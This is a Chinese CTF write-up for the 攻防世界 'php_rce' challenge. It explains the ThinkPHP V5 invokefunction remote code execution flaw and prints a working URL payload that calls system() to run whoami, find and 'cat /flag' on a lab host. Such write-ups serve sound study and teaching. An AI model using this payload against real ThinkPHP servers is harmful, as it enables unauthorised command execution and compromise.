攻防世界-web-php_rce

题目描述:无,只给了下面一张图(PS:图中的链接没问题) 

1. 思路分析

图中信息给的不是很到位,需要有点外部知识,网上搜索ThinkPHP V5,可以看到是think php的一个历史高危漏洞,具体信息可以参考https://www.freebuf.com/vuls/303908.html

这里简单总结下:

payload为?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s参数为thinkphp的一种路由形式
http://xxx.com/index.php?s=/module/controller/func/args/value (func也叫action,就是类里的方法名)

在POC中:

module = index,对应的是index文件夹

controller = think\app,这个是一个漏洞利用点,当controller中存在\字符时,不会对controller进行进一步解析,此时会创建APP对象

func(action) = call_user_func_array:此为APP对象中的函数

args = ars[0]=system&vars[1][]=whoami:表示传入call_user_func_array的参数,可以执行命令

2. 利用已知POC找到flag

从以上的漏洞分析来看,我们将POC中的命令换成find / -name "*flag*",但是并没有我们想要的文件

再看看当前目录:也没有

再看看根目录:发现flag

最后获取到flag,POC:61.147.171.105:50706/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

 

 总结:非常经典的RCE,这道题最大的意义在于了解这个RCE的原理。即外部controller和命令执行的命令和参数均外部可控。外部controller可控导致可以创建APP对象,而APP对象中又存在危险函数,函数中的参数也是外部可控的,进而导致RCE。

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值